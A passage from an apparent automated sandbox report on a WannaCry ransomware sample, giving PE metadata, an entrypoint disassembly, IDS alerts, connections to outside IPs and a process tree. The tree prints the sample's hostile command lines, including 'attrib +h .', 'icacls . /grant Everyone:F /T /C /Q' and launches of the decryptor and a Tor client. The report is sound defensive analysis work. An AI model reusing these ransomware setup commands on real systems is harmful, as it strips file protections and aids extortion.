                                                                                                                        Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                                                                        DLL Characteristics:
                                                                                                                        Time Stamp:0x4CE78F41 [Sat Nov 20 09:05:05 2010 UTC]
                                                                                                                        TLS Callbacks:
                                                                                                                        CLR (.Net) Version:
                                                                                                                        OS Version Major:5
                                                                                                                        OS Version Minor:0
                                                                                                                        File Version Major:5
                                                                                                                        File Version Minor:0
                                                                                                                        Subsystem Version Major:5
                                                                                                                        Subsystem Version Minor:0
                                                                                                                        Import Hash:bf82e6aeb882cd647d53cf12b9cbe8fc

                                                                                                                        Entrypoint Preview

                                                                                                                        Instruction
                                                                                                                        pushad
                                                                                                                        pushad
                                                                                                                        call 00007F4D28DA7EF0h
                                                                                                                        rcl ah, 1
                                                                                                                        sbb al, bh
                                                                                                                        push ebp
                                                                                                                        cmc
                                                                                                                        mov ebp, esp
                                                                                                                        sar eax, 1Fh
                                                                                                                        bsf eax, eax
                                                                                                                        sal ah, cl
                                                                                                                        sub esp, 18h
                                                                                                                        shld eax, ebp, 0000001Eh
                                                                                                                        push esi
                                                                                                                        bswap eax
                                                                                                                        push edi
                                                                                                                        movzx ax, cl
                                                                                                                        sbb ah, 0000007Eh
                                                                                                                        bt ax, cx
                                                                                                                        push ebx
                                                                                                                        rcr ah, cl
                                                                                                                        pushfd
                                                                                                                        mov dword ptr [esp], edx
                                                                                                                        cwde
                                                                                                                        setno al
                                                                                                                        mov eax, dword ptr [ebp+08h]
                                                                                                                        stc
                                                                                                                        test eax, eax
                                                                                                                        jmp 00007F4D28DAC023h
                                                                                                                        bt bp, bx
                                                                                                                        pushfd
                                                                                                                        neg al
                                                                                                                        call 00007F4D28DA383Ch
                                                                                                                        dec eax
                                                                                                                        push edx
                                                                                                                        sub eax, 6FD9F7FBh
                                                                                                                        mov bh, 1Eh
                                                                                                                        int3
                                                                                                                        push es
                                                                                                                        xchg eax, esi
                                                                                                                        mov al, byte ptr [48C7C03Fh]
                                                                                                                        scasd
                                                                                                                        aaa
                                                                                                                        cdq
                                                                                                                        jmp far E1BAh : 16E8C836h
                                                                                                                        das
                                                                                                                        ret
                                                                                                                        in eax, 4Ah
                                                                                                                        lodsd
                                                                                                                        sub dword ptr [edi+3D440543h], ecx
                                                                                                                        nop
                                                                                                                        xor eax, 5F5AECB1h
                                                                                                                        retf
                                                                                                                        push ds
                                                                                                                        call far 8390h : 566F5ADFh
                                                                                                                        xor ecx, eax
                                                                                                                        cmpsb
                                                                                                                        jp 00007F4D28DB881Ch
                                                                                                                        xor eax, 96219378h
                                                                                                                        push eax
                                                                                                                        cmp dword ptr [edi], esp
                                                                                                                        jnp 00007F4D28DB8818h
                                                                                                                        and eax, 5DB94BA3h
                                                                                                                        inc ebx
                                                                                                                        fidiv dword ptr [47041960h+ebx]
                                                                                                                        imul ebx, dword ptr [ebp+51298E19h], 75h
                                                                                                                        pop ebx
                                                                                                                        retn B205h
                                                                                                                        add ebx, edx
                                                                                                                        add byte ptr [edx], dl
                                                                                                                        xchg eax, ebp
                                                                                                                        dec esp
                                                                                                                        loop 00007F4D28DB8882h
                                                                                                                        mov byte ptr [6D7BDA82h], al
                                                                                                                        dec ecx
                                                                                                                        fisub word ptr [esi+ebp-7B64F2FDh]
                                                                                                                        mov ebp, 746F142Eh
                                                                                                                        mov dl, F5h

                                                                                                                        Rich Headers

                                                                                                                        Programming Language:
                                                                                                                        • [C++] VS98 (6.0) SP6 build 8804
                                                                                                                        • [EXP] VC++ 6.0 SP5 build 8804

                                                                                                                        Data Directories

                                                                                                                        NameVirtual AddressVirtual Size Is in Section
                                                                                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x81e7240x8c.vmp1
                                                                                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x83a0000x2c32b.rsrc
                                                                                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                        IMAGE_DIRECTORY_ENTRY_IAT0x8210000x44.vmp1
                                                                                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                        Sections

                                                                                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                        .text0x10000x69b00x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                        .rdata0x80000x5f700x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                        .data0xe0000x19580x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                        .vmp00x100000x3df5600x0d41d8cd98f00b204e9800998ecf8427eunknownunknownunknownunknownIMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                        .vmp10x3f00000x4495af0x44a000e9bc7086408c0d516db362c56d8646a9unknownunknownunknownunknownIMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                        .rsrc0x83a0000x2c32b0x2d0004de5a94532ee3c210ae0473d285ce3daFalse0.5067165798611111data6.263130066789214IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                        Resources

                                                                                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                        RT_ICON0x83a3100x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 00.3696236559139785
                                                                                                                        RT_ICON0x83a5f80x128Device independent bitmap graphic, 16 x 32 x 4, image size 00.5540540540540541
                                                                                                                        RT_ICON0x83a7200xea8Device independent bitmap graphic, 48 x 96 x 8, image size 00.5954157782515992
                                                                                                                        RT_ICON0x83b5c80x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 00.7486462093862816
                                                                                                                        RT_ICON0x83be700x568Device independent bitmap graphic, 16 x 32 x 8, image size 00.569364161849711
                                                                                                                        RT_ICON0x83c3d80xbcf3PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced0.9996072026627525
                                                                                                                        RT_ICON0x8480cc0x10828Device independent bitmap graphic, 128 x 256 x 32, image size 00.2758931740210576
                                                                                                                        RT_ICON0x8588f40x94a8Device independent bitmap graphic, 96 x 192 x 32, image size 00.32935673743956273
                                                                                                                        RT_ICON0x861d9c0x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 00.44553941908713696
                                                                                                                        RT_ICON0x8643440x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 00.5398686679174484
                                                                                                                        RT_ICON0x8653ec0x468Device independent bitmap graphic, 16 x 32 x 32, image size 00.6852836879432624
                                                                                                                        RT_GROUP_ICON0x8658540xa0data0.6875
                                                                                                                        RT_VERSION0x8658f40x548dataEnglishUnited States0.3772189349112426
                                                                                                                        RT_MANIFEST0x865e3c0x4efexported SGML document, ASCII text, with CRLF line terminatorsEnglishUnited States0.42913697545526525

                                                                                                                        Imports

                                                                                                                        DLLImport
                                                                                                                        KERNEL32.dllVirtualProtect
                                                                                                                        USER32.dllMessageBoxW
                                                                                                                        ADVAPI32.dllCryptReleaseContext
                                                                                                                        MSVCRT.dll_CxxThrowException
                                                                                                                        KERNEL32.dllGetModuleFileNameW
                                                                                                                        KERNEL32.dllGetModuleHandleA, LoadLibraryA, LocalAlloc, LocalFree, GetModuleFileNameA, ExitProcess

                                                                                                                        Possible Origin

                                                                                                                        Language of compilation systemCountry where language is spokenMap
                                                                                                                        EnglishUnited States

                                                                                                                        Network Behavior

                                                                                                                        Suricata IDS Alerts

                                                                                                                        TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                        2025-01-08T20:46:25.678515+01002028377ET JA3 Hash - Possible Malware - Malspam3192.168.11.2049715178.33.183.251443TCP
                                                                                                                        2025-01-08T20:46:25.678515+01002028377ET JA3 Hash - Possible Malware - Malspam3192.168.11.204972986.59.21.38443TCP
                                                                                                                        2025-01-08T20:46:25.678515+01002028377ET JA3 Hash - Possible Malware - Malspam3192.168.11.2049728154.35.175.225443TCP
                                                                                                                        2025-01-08T20:46:25.678515+01002028377ET JA3 Hash - Possible Malware - Malspam3192.168.11.2049719217.12.199.208443TCP
                                                                                                                        2025-01-08T20:48:21.695235+01002028377ET JA3 Hash - Possible Malware - Malspam3192.168.11.2049717198.50.191.95443TCP
                                                                                                                        2025-01-08T20:48:47.987939+01002028377ET JA3 Hash - Possible Malware - Malspam3192.168.11.2049720131.188.40.189443TCP
                                                                                                                        2025-01-08T20:50:21.018855+01002028377ET JA3 Hash - Possible Malware - Malspam3192.168.11.204972731.31.78.49443TCP
                                                                                                                        2025-01-08T20:51:41.056191+01002028377ET JA3 Hash - Possible Malware - Malspam3192.168.11.2049733171.25.193.980TCP
                                                                                                                        2025-01-08T20:51:47.757163+01002028377ET JA3 Hash - Possible Malware - Malspam3192.168.11.2049735188.245.236.60443TCP

                                                                                                                        Network Port Distribution

                                                                                                                        TCP Packets

                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                        Jan 8, 2025 20:48:20.376146078 CET49715443192.168.11.20178.33.183.251
                                                                                                                        Jan 8, 2025 20:48:20.376173019 CET44349715178.33.183.251192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:20.376329899 CET49715443192.168.11.20178.33.183.251
                                                                                                                        Jan 8, 2025 20:48:20.376523018 CET497169101192.168.11.20128.31.0.39
                                                                                                                        Jan 8, 2025 20:48:20.382102013 CET49715443192.168.11.20178.33.183.251
                                                                                                                        Jan 8, 2025 20:48:20.382112026 CET44349715178.33.183.251192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:20.515455961 CET910149716128.31.0.39192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:21.029551029 CET497169101192.168.11.20128.31.0.39
                                                                                                                        Jan 8, 2025 20:48:21.168181896 CET910149716128.31.0.39192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:21.264245987 CET49717443192.168.11.20198.50.191.95
                                                                                                                        Jan 8, 2025 20:48:21.264276028 CET44349717198.50.191.95192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:21.264456987 CET49717443192.168.11.20198.50.191.95
                                                                                                                        Jan 8, 2025 20:48:21.279758930 CET49717443192.168.11.20198.50.191.95
                                                                                                                        Jan 8, 2025 20:48:21.279772997 CET44349717198.50.191.95192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:21.669944048 CET497169101192.168.11.20128.31.0.39
                                                                                                                        Jan 8, 2025 20:48:21.695024014 CET44349717198.50.191.95192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:21.695235014 CET49717443192.168.11.20198.50.191.95
                                                                                                                        Jan 8, 2025 20:48:21.699351072 CET49717443192.168.11.20198.50.191.95
                                                                                                                        Jan 8, 2025 20:48:21.699359894 CET44349717198.50.191.95192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:21.699547052 CET44349717198.50.191.95192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:21.699832916 CET49717443192.168.11.20198.50.191.95
                                                                                                                        Jan 8, 2025 20:48:21.742209911 CET44349717198.50.191.95192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:21.808609009 CET910149716128.31.0.39192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:22.310503006 CET497169101192.168.11.20128.31.0.39
                                                                                                                        Jan 8, 2025 20:48:22.449191093 CET910149716128.31.0.39192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:22.950946093 CET497169101192.168.11.20128.31.0.39
                                                                                                                        Jan 8, 2025 20:48:23.089623928 CET910149716128.31.0.39192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:25.325905085 CET497189001192.168.11.2037.187.22.87
                                                                                                                        Jan 8, 2025 20:48:26.340785027 CET497189001192.168.11.2037.187.22.87
                                                                                                                        Jan 8, 2025 20:48:28.356034994 CET497189001192.168.11.2037.187.22.87
                                                                                                                        Jan 8, 2025 20:48:32.370822906 CET497189001192.168.11.2037.187.22.87
                                                                                                                        Jan 8, 2025 20:48:40.384691000 CET497189001192.168.11.2037.187.22.87
                                                                                                                        Jan 8, 2025 20:48:47.289869070 CET49719443192.168.11.20217.12.199.208
                                                                                                                        Jan 8, 2025 20:48:47.289892912 CET44349719217.12.199.208192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:47.289928913 CET49720443192.168.11.20131.188.40.189
                                                                                                                        Jan 8, 2025 20:48:47.289948940 CET44349720131.188.40.189192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:47.290292025 CET49720443192.168.11.20131.188.40.189
                                                                                                                        Jan 8, 2025 20:48:47.291209936 CET49719443192.168.11.20217.12.199.208
                                                                                                                        Jan 8, 2025 20:48:47.291392088 CET49720443192.168.11.20131.188.40.189
                                                                                                                        Jan 8, 2025 20:48:47.291403055 CET44349720131.188.40.189192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:47.291585922 CET49719443192.168.11.20217.12.199.208
                                                                                                                        Jan 8, 2025 20:48:47.291593075 CET44349719217.12.199.208192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:47.540254116 CET44349719217.12.199.208192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:47.987656116 CET44349720131.188.40.189192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:47.987938881 CET49720443192.168.11.20131.188.40.189
                                                                                                                        Jan 8, 2025 20:48:47.989742041 CET49720443192.168.11.20131.188.40.189
                                                                                                                        Jan 8, 2025 20:48:47.989749908 CET44349720131.188.40.189192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:47.989945889 CET44349720131.188.40.189192.168.11.20
                                                                                                                        Jan 8, 2025 20:48:47.990323067 CET49720443192.168.11.20131.188.40.189
                                                                                                                        Jan 8, 2025 20:48:48.034212112 CET44349720131.188.40.189192.168.11.20
                                                                                                                        Jan 8, 2025 20:50:31.346827984 CET44349715178.33.183.251192.168.11.20
                                                                                                                        Jan 8, 2025 20:53:21.294048071 CET49717443192.168.11.20198.50.191.95
                                                                                                                        Jan 8, 2025 20:53:21.294142008 CET44349717198.50.191.95192.168.11.20
                                                                                                                        Jan 8, 2025 20:53:21.294295073 CET44349717198.50.191.95192.168.11.20
                                                                                                                        Jan 8, 2025 20:53:21.294372082 CET49717443192.168.11.20198.50.191.95
                                                                                                                        Jan 8, 2025 20:53:21.294550896 CET49717443192.168.11.20198.50.191.95
                                                                                                                        Jan 8, 2025 20:53:47.289608002 CET49720443192.168.11.20131.188.40.189
                                                                                                                        Jan 8, 2025 20:53:47.289665937 CET44349720131.188.40.189192.168.11.20
                                                                                                                        Jan 8, 2025 20:53:47.289794922 CET44349720131.188.40.189192.168.11.20
                                                                                                                        Jan 8, 2025 20:53:47.289870024 CET49720443192.168.11.20131.188.40.189
                                                                                                                        Jan 8, 2025 20:53:47.289931059 CET49720443192.168.11.20131.188.40.189

                                                                                                                        Statistics

                                                                                                                        CPU Usage

                                                                                                                        Click to jump to process

                                                                                                                        Memory Usage

                                                                                                                        Click to jump to process

                                                                                                                        High Level Behavior Distribution

                                                                                                                        Click to dive into process behavior distribution

                                                                                                                        Behavior

                                                                                                                        Click to jump to process

                                                                                                                        System Behavior

                                                                                                                        General

                                                                                                                        Target ID:0
                                                                                                                        Start time:14:46:31
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        Wow64 process (32bit):true
                                                                                                                        Commandline:"C:\Users\user\Desktop\n397UdH3b5.exe"
                                                                                                                        Imagebase:0x400000
                                                                                                                        File size:4'685'824 bytes
                                                                                                                        MD5 hash:64B26F10B6C2E7C51F0BE88EB9875B78
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Yara matches:
                                                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000000.00000003.2573945080.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000000.00000003.2572869282.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000000.00000003.2574942997.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000000.00000003.1565823592.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                        Reputation:low
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:2
                                                                                                                        Start time:14:46:32
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Windows\SysWOW64\attrib.exe
                                                                                                                        Wow64 process (32bit):true
                                                                                                                        Commandline:attrib +h .
                                                                                                                        Imagebase:0x330000
                                                                                                                        File size:19'456 bytes
                                                                                                                        MD5 hash:0E938DD280E83B1596EC6AA48729C2B0
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Reputation:moderate
                                                                                                                        Has exited:true

                                                                                                                        General

                                                                                                                        Target ID:3
                                                                                                                        Start time:14:46:32
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Windows\SysWOW64\icacls.exe
                                                                                                                        Wow64 process (32bit):true
                                                                                                                        Commandline:icacls . /grant Everyone:F /T /C /Q
                                                                                                                        Imagebase:0x1000000
                                                                                                                        File size:29'696 bytes
                                                                                                                        MD5 hash:2E49585E4E08565F52090B144062F97E
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Reputation:high
                                                                                                                        Has exited:true

                                                                                                                        General

                                                                                                                        Target ID:4
                                                                                                                        Start time:14:46:32
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                        Wow64 process (32bit):false
                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                        Imagebase:0x7ff7a55c0000
                                                                                                                        File size:875'008 bytes
                                                                                                                        MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Reputation:high
                                                                                                                        Has exited:true

                                                                                                                        General

                                                                                                                        Target ID:5
                                                                                                                        Start time:14:46:32
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                        Wow64 process (32bit):false
                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                        Imagebase:0x7ff7a55c0000
                                                                                                                        File size:875'008 bytes
                                                                                                                        MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Reputation:high
                                                                                                                        Has exited:true

                                                                                                                        General

                                                                                                                        Target ID:6
                                                                                                                        Start time:14:46:33
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                        Wow64 process (32bit):true
                                                                                                                        Commandline:taskdl.exe
                                                                                                                        Imagebase:0x400000
                                                                                                                        File size:20'480 bytes
                                                                                                                        MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Antivirus matches:
                                                                                                                        • Detection: 96%, ReversingLabs
                                                                                                                        Reputation:moderate
                                                                                                                        Has exited:true

                                                                                                                        General

                                                                                                                        Target ID:7
                                                                                                                        Start time:14:46:33
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                        Wow64 process (32bit):true
                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c 251361736365593.bat
                                                                                                                        Imagebase:0xbb0000
                                                                                                                        File size:236'544 bytes
                                                                                                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Reputation:high
                                                                                                                        Has exited:true

                                                                                                                        General

                                                                                                                        Target ID:8
                                                                                                                        Start time:14:46:33
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                        Wow64 process (32bit):false
                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                        Imagebase:0x7ff7a55c0000
                                                                                                                        File size:875'008 bytes
                                                                                                                        MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Reputation:high
                                                                                                                        Has exited:true

                                                                                                                        General

                                                                                                                        Target ID:9
                                                                                                                        Start time:14:46:34
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Windows\SysWOW64\cscript.exe
                                                                                                                        Wow64 process (32bit):true
                                                                                                                        Commandline:cscript.exe //nologo m.vbs
                                                                                                                        Imagebase:0x820000
                                                                                                                        File size:144'896 bytes
                                                                                                                        MD5 hash:13783FF4A2B614D7FBD58F5EEBDEDEF6
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Reputation:moderate
                                                                                                                        Has exited:true

                                                                                                                        General

                                                                                                                        Target ID:11
                                                                                                                        Start time:14:47:03
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                        Wow64 process (32bit):true
                                                                                                                        Commandline:taskdl.exe
                                                                                                                        Imagebase:0x400000
                                                                                                                        File size:20'480 bytes
                                                                                                                        MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Reputation:moderate
                                                                                                                        Has exited:true

                                                                                                                        General

                                                                                                                        Target ID:16
                                                                                                                        Start time:14:47:33
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                        Wow64 process (32bit):true
                                                                                                                        Commandline:taskdl.exe
                                                                                                                        Imagebase:0x400000
                                                                                                                        File size:20'480 bytes
                                                                                                                        MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Has exited:true

                                                                                                                        General

                                                                                                                        Target ID:17
                                                                                                                        Start time:14:48:03
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                        Wow64 process (32bit):true
                                                                                                                        Commandline:taskdl.exe
                                                                                                                        Imagebase:0x400000
                                                                                                                        File size:20'480 bytes
                                                                                                                        MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:19
                                                                                                                        Start time:14:48:16
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        Wow64 process (32bit):true
                                                                                                                        Commandline:@WanaDecryptor@.exe co
                                                                                                                        Imagebase:0x400000
                                                                                                                        File size:245'760 bytes
                                                                                                                        MD5 hash:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Yara matches:
                                                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000013.00000000.2575420762.000000000041F000.00000008.00000001.01000000.00000008.sdmp, Author: Joe Security
                                                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmp, Author: Joe Security
                                                                                                                        Antivirus matches:
                                                                                                                        • Detection: 97%, ReversingLabs
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:20
                                                                                                                        Start time:14:48:16
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                        Wow64 process (32bit):true
                                                                                                                        Commandline:cmd.exe /c start /b @WanaDecryptor@.exe vs
                                                                                                                        Imagebase:0xbb0000
                                                                                                                        File size:236'544 bytes
                                                                                                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:21
                                                                                                                        Start time:14:48:16
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                        Wow64 process (32bit):false
                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                        Imagebase:0x7ff7a55c0000
                                                                                                                        File size:875'008 bytes
                                                                                                                        MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:22
                                                                                                                        Start time:14:48:16
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        Wow64 process (32bit):true
                                                                                                                        Commandline:@WanaDecryptor@.exe vs
                                                                                                                        Imagebase:0x400000
                                                                                                                        File size:245'760 bytes
                                                                                                                        MD5 hash:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Yara matches:
                                                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000016.00000000.2576398227.000000000041F000.00000008.00000001.01000000.00000008.sdmp, Author: Joe Security
                                                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmp, Author: Joe Security
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:23
                                                                                                                        Start time:14:48:18
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe
                                                                                                                        Wow64 process (32bit):true
                                                                                                                        Commandline:TaskData\Tor\taskhsvc.exe
                                                                                                                        Imagebase:0xbe0000
                                                                                                                        File size:3'098'624 bytes
                                                                                                                        MD5 hash:FE7EB54691AD6E6AF77F8A9A0B6DE26D
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Antivirus matches:
                                                                                                                        • Detection: 0%, ReversingLabs
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:24
                                                                                                                        Start time:14:48:18
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                        Wow64 process (32bit):false
                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                        Imagebase:0x7ff7a55c0000
                                                                                                                        File size:875'008 bytes
                                                                                                                        MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:25
                                                                                                                        Start time:14:48:26
